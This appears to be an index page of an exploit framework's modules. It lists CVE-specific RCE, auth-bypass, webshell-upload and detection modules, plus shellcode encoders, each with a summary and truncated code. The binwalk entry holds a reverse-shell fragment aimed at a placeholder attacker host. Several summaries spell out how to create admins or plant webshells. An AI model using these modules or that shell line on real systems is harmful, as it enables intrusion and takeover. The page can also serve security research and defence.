WSO2 CVE-2026-5430 JWT alg:none admin bypass

CVE-2026-5430: forged alg:none JWT in X-JWT-Assertion grants access to WSO2 admin REST APIs applications, subscription keys. Confirmation / credential access — not arbitrary OS RCE. !/usr/bin/env python3 -- coding: utf-8 -- """WSO2 API Manager CVE-2026-5430 JWT alg:none admin API bypass.""" impor...

Laravel CVE-2018-15133 Detect

Detects Laravel apps APPKEY RCE via encrypted cookies. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Laravel apps APPKEY RCE via encrypted cookies.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "Laravel...

Joomla DJ-Classifieds CVE-2026-61424 arbitrary upload

CVE-2026-61424 DJ-Classifieds . !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2026-61424 — Joomla DJ-Classifieds unauthenticated imageupload write.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.joomlaprobe import Joomla class...

PDF.js CVE-2024-4367 FontMatrix RCE delivery

CVE-2024-4367: Type1 FontMatrix injection runs JavaScript in PDF.js viewers; upload malicious PDF and callback to LHOST for confirmation. !/usr/bin/env python3 -- coding: utf-8 -- """PDF.js CVE-2024-4367 FontMatrix JavaScript execution via PDF upload.""" from future import annotations import os...

OP5 Monitor CVE-2025-34115 Detect

Detects OP5 Monitor / ITRS login surface. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OP5 Monitor / ITRS login surface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "OP5 Monitor CVE-2025-34115 Detect",...

OP5 Monitor CVE-2025-34115 command_test RCE

CVE-2025-34115 bypass: authenticated cmdstr on /monitor/op5/nacoma/commandtest.php runs $... via naemon shell mode. !/usr/bin/env python3 -- coding: utf-8 -- """ITRS OP5 Monitor CVE-2025-34115 patch-bypass commandtest RCE.""" from future import annotations import base64 import re from kittysploit...

WordPress WPMobile.App CVE-2026-94541 detect

Detects WPMobile.App plugin = 11.82 CVE-2026-94541: unauthenticated wpappcategory subscription updates when mail-to-push mirrors wpmail. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WPMobile.App wpappninja CVE-2026-94541 exposure.""" import re from kittysploit import from...

Nezha Monitoring CVE-2026-53519 JWT forgery

CVE-2026-53519: path traversal under the Nezha dashboard exposes data/config.yaml jwtsecretkey and data/sqlite.db. Forges an HS256 admin JWT and verifies access to /api/v1/profile. !/usr/bin/env python3 -- coding: utf-8 -- """Nezha Monitoring CVE-2026-53519 path traversal + JWT forgery admin...

Apache ActiveMQ CVE-2023-46604 OpenWire RCE

CVE-2023-46604: unauthenticated OpenWire ExceptionResponse deserializes ClassPathXmlApplicationContext pointing at attacker Spring XML with ProcessBuilder. Serves poc.xml on srvhost:srvport and triggers broker on target:openwireport default 61616. !/usr/bin/env python3 -- coding: utf-8 -- """Apac...

Cacti CVE-2025-24367 graph template RCE

CVE-2025-24367 Cacti = 1.2.28: newline injection in graph template rightaxislabel breaks out of rrdtool arguments and writes PHP to the web root. Authenticated; plants a ?c= webshell and runs the given command. !/usr/bin/env python3 -- coding: utf-8 -- """Cacti CVE-2025-24367 authenticated...

WordPress Divi Form Builder CVE-2026-5118 admin creation

CVE-2026-5118: Divi Form Builder = 5.1.2 accepts a client-supplied role on defbajaxsubmitajaxhandler during registration. Harvests fbnonce from the site, then POSTs multipart register with role=administrator to create an unauthenticated WordPress admin. Fixed in 5.1.3+. !/usr/bin/env python3 --...

LiteLLM CVE-2026-47101 Detect

Fingerprints LiteLLM proxy API /health, OpenAI-compatible routes. !/usr/bin/env python3 -- coding: utf-8 -- """Fingerprints LiteLLM proxy API /health, OpenAI-compatible routes.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

CrushFTP CVE-2025-31161 auth bypass user creation

CVE-2025-31161: crafted CrushAuth / AWS4 Authorization headers allow unauthenticated setUserItem on /WebInterface/function/, creating a new FTP/WebInterface user. Default is detect-only; set confirm=true to create the configured account destructive. !/usr/bin/env python3 -- coding: utf-8 --...

Bludit CVE-2019-16113 upload traversal RCE

CVE-2019-16113 Bludit 3.9.2: authenticated ajax/upload-images with uuid=../../tmp drops a PHP-capable PNG webshell under /bl-content/tmp/. !/usr/bin/env python3 -- coding: utf-8 -- """Bludit CVE-2019-16113 authenticated upload path traversal RCE.""" from future import annotations import random...

UnrealIRCd CVE-2010-2075 backdoor RCE

CVE-2010-2075: trojaned UnrealIRCd 3.2.8.1 executes any line starting with AB; as shell via system without authentication. !/usr/bin/env python3 -- coding: utf-8 -- """UnrealIRCd CVE-2010-2075 trojaned backdoor AB; command execution.""" from future import annotations import socket import time fro...

Cacti CVE-2022-46169 remote_agent RCE

CVE-2022-46169 Cacti = 1.2.22: X-Forwarded-For auth bypass on /remoteagent.php plus unsanitized pollerid passed to procopen. Uses in-band webroot file drop when readable. !/usr/bin/env python3 -- coding: utf-8 -- """Cacti CVE-2022-46169 remoteagent pollerid command injection.""" from future impor...

HFS CVE-2014-6287 search macro RCE

CVE-2014-6287 HttpFileServer 2.3–2.3c: NUL-byte desync in the search handler allows .exec|cmd. macro execution without authentication. !/usr/bin/env python3 -- coding: utf-8 -- """Rejetto HFS CVE-2014-6287 unauthenticated search macro command execution.""" from future import annotations from...

Metabase CVE-2023-38646 H2 trigger RCE

CVE-2023-38646 Metabase 0.46.7: leaked setup-token plus /api/setup/validate H2 JDBC string runs a CREATE TRIGGER whose JavaScript body calls Runtime.exec blind — confirm via callback or shell. !/usr/bin/env python3 -- coding: utf-8 -- """Metabase CVE-2023-38646 pre-auth H2 JDBC trigger RCE...

OpenSTAManager CVE-2025-69212 P7M import RCE

CVE-2025-69212 OpenSTAManager = 2.9.8: authenticated importFEZIP upload passes unsanitized .p7m entry names into openssl exec, enabling shell command injection ZIP names must avoid '/' characters. !/usr/bin/env python3 -- coding: utf-8 -- """OpenSTAManager CVE-2025-69212 P7M filename command...

SQLPad CVE-2022-0944 Handlebars SSTI RCE

CVE-2022-0944 SQLPad = 6.10.0: unauthenticated POST /api/test-connection embeds attacker input in Handlebars templates leading to Node childprocess.execSync blind; exfil or reverse shell. !/usr/bin/env python3 -- coding: utf-8 -- """SQLPad CVE-2022-0944 unauthenticated Handlebars SSTI RCE blind."...

Apache Struts2 CVE-2024-53677 upload traversal RCE

CVE-2024-53677 Struts2 FileName traversal writes a JSP cmd shell into the webroot. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Struts2 CVE-2024-53677 upload path traversal to JSP webshell.""" from future import annotations import re import socket import ssl from kittysploit import from...

TensorFlow CVE-2024-3660 Keras H5 Lambda RCE

CVE-2024-3660: crafted Keras .h5 with Lambda layer deserializes marshal code via legacy loadmodel path when ML service loads uploads. !/usr/bin/env python3 -- coding: utf-8 -- """TensorFlow/Keras CVE-2024-3660 malicious H5 Lambda layer RCE.""" from future import annotations import codecs import...

Valkey/Redis CVE-2026-25243 RESTORE RCE trigger

CVE-2026-25243: malformed RESTORE payload with DEBUG SET-SKIP-CHECKSUM-VALIDATION can corrupt memory / crash server requires --enable-debug-command on vulnerable builds. !/usr/bin/env python3 -- coding: utf-8 -- """Redis/Valkey CVE-2026-25243 RESTORE zipmap memory corruption trigger.""" from futu...

Searchor CVE-2023-43364 eval RCE

CVE-2023-43364 Searchor = 2.4.1: user query is interpolated into eval in searchor.main.search; crafted query runs arbitrary Python when a web app forwards engine/query to the library. !/usr/bin/env python3 -- coding: utf-8 -- """Searchor CVE-2023-43364 eval injection in search query HTTP...

CrushFTP CVE-2025-31161 Detect

Detects CrushFTP WebInterface auth bypass user creation chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CrushFTP WebInterface auth bypass user creation chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name"...

ZoneMinder CVE-2024-51482 SQLi Detect

Fingerprints ZoneMinder and probes ajax/event removetag tid parameter boolean SQLi requires a valid ZMSESSID. !/usr/bin/env python3 -- coding: utf-8 -- """ZoneMinder CVE-2024-51482 removetag SQLi surface authenticated oracle.""" from kittysploit import from lib.protocols.http.httpclient import...

Kener CVE-2026-105030 status monitor detect

Detects Kener status dashboard 4.0.0–4.1.5 public monitor-bar API used in CVE-2026-105030 hidden monitor disclosure. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Kener CVE-2026-105030 monitor API exposure.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

OpenSTAManager CVE-2025-69212 Detect

Detects OpenSTAManager login authenticated import RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects OpenSTAManager login authenticated import RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name":...

Apache Struts2 CVE-2024-53677 Upload Detect

Probes common Struts file-upload .action endpoints for CVE-2024-53677 chain. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Struts2 CVE-2024-53677 file upload action fingerprint.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient:...

WPAD Proxy Discover

Load wpad.dat via the browser PAC resolver and extract PROXY/SOCKS entries BeEF getproxyserverswpad from kittysploit import import json class ModuleBrowserAuxiliary: info = "name": "WPAD Proxy Discover", "description": "Load wpad.dat via the browser PAC resolver and extract PROXY/SOCKS entries Be...

x64 AES-128 AES-NI Encoder

Encrypts shellcode with AES-128-ECB and prepends an x64 AES-NI decoder stub requires AES-NI on the target CPU. !/usr/bin/env python3 -- coding: utf-8 -- """AES-128 AES-NI encoder for x64 shellcode — same layout as Awesome-EDR 02 style runners.""" from kittysploit import from core.lib.shellcodeaes...

MikroTik RouterOS CVE-2026-67279 SSH session bypass

CVE-2026-67279: RouterOS 6.42 and related 6.x builds before 6.49.21 may accept a new SSH session channel after a client-initiated rekey while the control channel no rekey is refused. Default mode is safe detect-only; set confirm=true to run read-only RouterOS commands on an interactive shell...

ImageMagick CVE-2022-44268 PNG profile file read

CVE-2022-44268 ImageMagick = 7.1.0-49: tEXt profile chunk treats value as filename; leaked bytes appear in output PNG when the app processes attacker PNG upload + download workflow. !/usr/bin/env python3 -- coding: utf-8 -- """ImageMagick CVE-2022-44268 PNG profile arbitrary file read.""" from...

Cacti CVE-2022-46169 remote_agent Detect

Detects auth bypass on /remoteagent.php via X-Forwarded-For and pollerid injection surface. !/usr/bin/env python3 -- coding: utf-8 -- """Cacti CVE-2022-46169 remoteagent X-Forwarded-For bypass detect.""" from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient...

crawl4ai CVE-2026-91940 detect

Detects crawl4ai HTTP API POST /crawl vulnerable to CVE-2026-91940 untrusted PDFContentScrapingStrategy imagesavedir arbitrary write 0.9.3. !/usr/bin/env python3 -- coding: utf-8 -- """Detect crawl4ai API CVE-2026-91940 exposure.""" from kittysploit import from lib.protocols.http.httpclient impor...

Grafana CVE-2024-9264 Detect

Detects Grafana instance SQL expressions RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Grafana instance SQL expressions RCE chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "Grafana CVE-2024-92...

Joomla SP Page Builder CVE-2026-48908 Detect

Detects SP Page Builder comsppagebuilder and the uploadCustomIcon task linked to CVE-2026-48908. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Joomla SP Page Builder CVE-2026-48908 upload surface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Magento CVE-2015-1397 Shoplift Detect

Fingerprints Magento and probes CmsWysiwyg/directive/index for SUPEE-5344 missing stacked SQLi sink. !/usr/bin/env python3 -- coding: utf-8 -- """Magento CE CVE-2015-1397 Shoplift SQLi surface detect.""" import base64 from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Metabase CVE-2023-38646 Detect

Checks /api/session/properties for leaked setup-token pre-auth RCE chain. !/usr/bin/env python3 -- coding: utf-8 -- """Metabase CVE-2023-38646 setup-token / H2 validate surface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Webmin CVE-2019-12840 Detect

Detects Webmin / Usermin login. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Webmin / Usermin login.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "Webmin CVE-2019-12840 Detect", "description": "Detects Webm...

Kener CVE-2026-105030 monitor tag enumeration

CVE-2026-105030 Kener 4.0.0–4.1.5: /dashboard-apis/monitor-bar may return hidden or inactive monitors when tag lookups skip ishidden/status filters. !/usr/bin/env python3 -- coding: utf-8 -- """Kener CVE-2026-105030 hidden/inactive monitor tag enumeration.""" import json from kittysploit import...

WordPress Beaver Builder CVE-2026-92084 detect

Detects Beaver Builder Lite = 2.11.0.5 CVE-2026-92084: Sidebar module widget output may execute registered shortcodes via layout-wide doshortcode. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Beaver Builder Lite CVE-2026-92084 exposure.""" from kittysploit import from...

binwalk CVE-2022-4510 PFS traversal RCE

CVE-2022-4510 binwalk & /dev/tcp/lhost/lport 0&1",\n stdin=subprocess.DEVNULL...

Anuko Time Tracker CVE-2022-24707 puncher SQLi

CVE-2022-24707 Anuko = 1.20.0.5640: authenticated SQLi in puncher.php date parameter writes ttusers credentials into the entry note field. !/usr/bin/env python3 -- coding: utf-8 -- """Anuko Time Tracker CVE-2022-24707 puncher date SQLi credential extract.""" from future import annotations import ...

Adobe ColdFusion CVE-2009-2265 FCKeditor Detect

Detects CFIDE FCKeditor upload.cfm connector null-byte upload class. !/usr/bin/env python3 -- coding: utf-8 -- """Adobe ColdFusion 8 CVE-2009-2265 FCKeditor upload surface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Wing FTP Server CVE-2025-47812 unauth Lua RCE

CVE-2025-47812 Wing FTP = 7.4.3: NULL-byte truncation in loginok.html breaks out of the per-session Lua username string and injects io.popen when dir.html loads the session. Works with anonymous login when enabled. !/usr/bin/env python3 -- coding: utf-8 -- """Wing FTP Server CVE-2025-47812...

Phproject CVE-2026-104991 REST issue IDOR

CVE-2026-104991 Phproject = 1.8.6: with security.restrictaccess enabled, GET /issues/@id.json, GET/POST /issues/@id/comments.json skip allowAccess while the web UI enforces ownership. Requires a low-privilege user API key and a confidential issue ID owned by another user. !/usr/bin/env python3 --...

image-downloader CVE-2026-103648 path traversal

CVE-2026-103648 npm image-downloader 4.3.1: when a Node app passes a user-controlled URL to download.image, percent-encoded ../ in the URL path survives basename and writes outside the intended dest directory. Starts a short-lived payload HTTP server on lhost:lport and triggers GET...

x64 Cyclic XOR Encoder

XOR-encrypts shellcode with a random 8-byte key and attaches an x64 decoder stub call/pop + rotating key, similar to classic XOR shellcode runners. !/usr/bin/env python3 -- coding: utf-8 -- """Cyclic XOR encoder with randomized 8-byte key and x64 decoder stub.""" import os from kittysploit import...

Adminer CVE-2020-35572 Detect

Detects Adminer database console elasticsearch plugin LFI chain. !/usr/bin/env python3 -- coding: utf-8 -- """Detects Adminer database console elasticsearch plugin LFI chain.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...